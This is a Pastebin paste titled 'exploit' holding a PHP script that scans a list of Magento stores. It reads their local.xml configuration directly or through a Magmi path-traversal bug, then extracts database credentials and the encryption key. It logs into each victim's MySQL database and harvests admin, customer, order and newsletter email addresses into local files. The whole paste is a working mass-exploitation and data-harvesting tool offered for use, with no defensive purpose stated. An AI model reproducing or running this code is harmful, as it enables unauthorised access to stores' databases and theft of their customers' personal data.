Advertisement
Guest User

exploit

a guest
Nov 22nd, 2017
584
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2. /* Copyright by FathurFreakz */
  3. /* Just because you rename the copyright, will not make you are coder ! */
  4. error_reporting(0);
  5. set_time_limit(0);
  6. class Magento_Database {
  7.    
  8.     private function curl($url, $post = false){
  9.         $ch = curl_init();
  10.         curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  11.         curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  12.         curl_setopt($ch, CURLOPT_URL, $url);
  13.         curl_setopt($ch, CURLOPT_HEADER, 0);
  14.         curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  15.         curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)");
  16.         curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
  17.         if($post !== false){
  18.             $isi = '';
  19.             foreach($post as $key=>$value){
  20.                 $isi .= $key.'='.$value.'&';
  21.             }
  22.             rtrim($isi, '&');
  23.             curl_setopt($ch, CURLOPT_URL, $url);
  24.             curl_setopt($ch, CURLOPT_POST, count($isi));
  25.             curl_setopt($ch, CURLOPT_COOKIEJAR, 'pitek.txt');
  26.             curl_setopt($ch, CURLOPT_POSTFIELDS, $isi);
  27.         }
  28.         $data = curl_exec($ch);
  29.         curl_close($ch);
  30.         return $data;
  31.     }
  32.    
  33.     private function GetStr($start,$end,$string){
  34.         $a = explode($start,$string);
  35.         $b = explode($end,$a[1]);
  36.         return $b[0];
  37.     }
  38.    
  39.     private function LocalFile($target){
  40.         $path = array(
  41.                "Bug 1"  => "/app/etc/local.xml",
  42.                "Bug 2" => "/magmi/web/download_file.php?file=../../app/etc/local.xml"
  43.         );
  44.         foreach($path as $bug => $location) {
  45.             $link = parse_url($target);
  46.             $url = sprintf("%s://%s".$location,$link["scheme"],$link["host"]);
  47.             $page = $this->curl($url);
  48.             if(preg_match('/<config>/i',$page)){
  49.                 $result = $url."\n";
  50.                 $result .= "type => ".$bug."\n";
  51.                 $result .= "domain => ".$url."\n";
  52.                 $result .= "host => ".$this->GetStr("<host><![CDATA[","]]></host>",$page)."\n";
  53.                 $result .= "username => ".$this->GetStr("<username><![CDATA[","]]></username>",$page)."\n";
  54.                 $result .= "password => ".$this->GetStr("<password><![CDATA[","]]></password>",$page)."\n";
  55.                 $result .= "name => ".$this->GetStr("<dbname><![CDATA[","]]></dbname>",$page)."\n";
  56.                 $result .= "installed => ".$this->GetStr("<date><![CDATA[","]]></date>",$page)."\n";
  57.                 $result .= "backend => ".$this->GetStr("<frontName><![CDATA[","]]></frontName>",$page)."\n";
  58.                 $result .= "key => ".$this->GetStr("<key><![CDATA[","]]></key>",$page)."\n";
  59.                 $result .= "prefix => ".$this->GetStr("<table_prefix><![CDATA[","]]></table_prefix>",$page)."\n";
  60.                 $result .= "connection => ".$this->database($this->GetStr("<host><![CDATA[","]]></host>",$page),$this->GetStr("<username><![CDATA[","]]></username>",$page),$this->GetStr("<password><![CDATA[","]]></password>",$page),$this->GetStr("<dbname><![CDATA[","]]></dbname>",$page),$link["host"])."\n";
  61.                
  62.                 echo $result;
  63.                 if($this->database($this->GetStr("<host><![CDATA[","]]></host>",$page),$this->GetStr("<username><![CDATA[","]]></username>",$page),$this->GetStr("<password><![CDATA[","]]></password>",$page),$this->GetStr("<dbname><![CDATA[","]]></dbname>",$page),$link["host"]) == "Success"){
  64.                     $this->getEmail($this->GetStr("<host><![CDATA[","]]></host>",$page),$this->GetStr("<username><![CDATA[","]]></username>",$page),$this->GetStr("<password><![CDATA[","]]></password>",$page),$this->GetStr("<dbname><![CDATA[","]]></dbname>",$page),$link["host"],$this->GetStr("<table_prefix><![CDATA[","]]></table_prefix>",$page));
  65.                 }
  66.                
  67.                 $file = fopen(date("d-m-y") . ".txt","a");
  68.                 fwrite($file, $result);
  69.                 fclose($file);
  70.             } else {
  71.                 echo $url." => NOT VULN\n";
  72.             }
  73.         }
  74.     }
  75.     private function database($host,$user,$pass,$name,$domain){
  76.         if (!filter_var($host, FILTER_VALIDATE_IP) === false) {
  77.             $ip = $host;
  78.         } else {
  79.             $ip = $domain;
  80.         }
  81.  
  82.         $connect = mysql_connect($ip,$user,$pass,$name);
  83.         if(!$connect){
  84.             return "Failed";
  85.         } else {
  86.             return "Success";
  87.             mysql_close($connect);
  88.         }
  89.     }
  90.    
  91.     public function getEmail($host,$user,$pass,$name,$domain,$prefix){
  92.         $query = array(
  93.                     $prefix.'admin_user'                    => 'SELECT * FROM '.$prefix.'admin_user' ,
  94.                     $prefix.'aw_blog_comment'               => 'SELECT * FROM '.$prefix.'aw_blog_comment' ,
  95.                     $prefix.'core_email_queue_recipients'   => 'SELECT * FROM '.$prefix.'core_email_queue_recipients' ,
  96.                     $prefix.'customer_entity'               => 'SELECT * FROM '.$prefix.'customer_entity' ,
  97.                     $prefix.'newsletter_subscriber'         => 'SELECT * FROM '.$prefix.'newsletter_subscriber' ,
  98.                     $prefix.'newsletter_template'           => 'SELECT * FROM '.$prefix.'newsletter_template' ,
  99.                     $prefix.'sales_flat_order_address'      => 'SELECT * FROM '.$prefix.'sales_flat_order_address' ,
  100.                     $prefix.'sales_flat_quote'              => 'SELECT * FROM '.$prefix.'sales_flat_quote'
  101.                    
  102.         );
  103.         $column = array(
  104.                     $prefix.'admin_user'                    => 'email' ,
  105.                     $prefix.'aw_blog_comment'               => 'email' ,
  106.                     $prefix.'core_email_queue_recipients'   => 'recipient_email' ,
  107.                     $prefix.'customer_entity'               => 'email' ,
  108.                     $prefix.'newsletter_subscriber'         => 'subscriber_email' ,
  109.                     $prefix.'newsletter_template'           => 'template_sender_email' ,
  110.                     $prefix.'sales_flat_order_address'      => 'email' ,
  111.                     $prefix.'sales_flat_quote'              => 'customer_email'
  112.                    
  113.         );
  114.         if (!filter_var($host, FILTER_VALIDATE_IP) === false) {
  115.             $ip = $host;
  116.         } else {
  117.             $ip = $domain;
  118.         }
  119.  
  120.         $connect = mysql_connect($ip,$user,$pass,$name);
  121.         mysql_select_db($name,$connect);       
  122.         $mail = array();
  123.         foreach($query as $key => $value){
  124.             echo "Checking '" .$key."' with query => ".$value."\n";
  125.             $hasil = mysql_query($value, $connect);
  126.             while($row = mysql_fetch_assoc($hasil)){
  127.                 if(!in_array($row[$column[$key]],$mail) && !empty($row[$column[$key]])){
  128.                     $mail[] = $row[$column[$key]];
  129.                     $save = fopen("email-found-".date("d-m-y").".txt","a");
  130.                     fwrite($save,$row[$column[$key]]."\n");
  131.                     fclose($save);
  132.                     echo $row[$column[$key]]."\n";
  133.                 }
  134.             }
  135.         }
  136.         if(count($mail) > 0){
  137.             echo count($mail) ." email address exists !\n";
  138.         } else {
  139.             echo "Email not found !\n";
  140.         }
  141.         mysql_close($connect);
  142.     }
  143.    
  144.     public function execute($file){
  145.         if(!file_exists($file)){
  146.             die($file . " not found !\n");
  147.         } else {
  148.             $file = explode("\n",file_get_contents($file));
  149.            
  150.             foreach($file as $target){
  151.                 echo $this->LocalFile(rtrim($target));
  152.                
  153.             }
  154.         }
  155.     }
  156. }
  157. $x = new Magento_Database;
  158. if(isset($argv[1]) && !empty($argv[1])){
  159.     $x->execute($argv[1]);
  160. } else {
  161.     die("INVALID");
  162. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement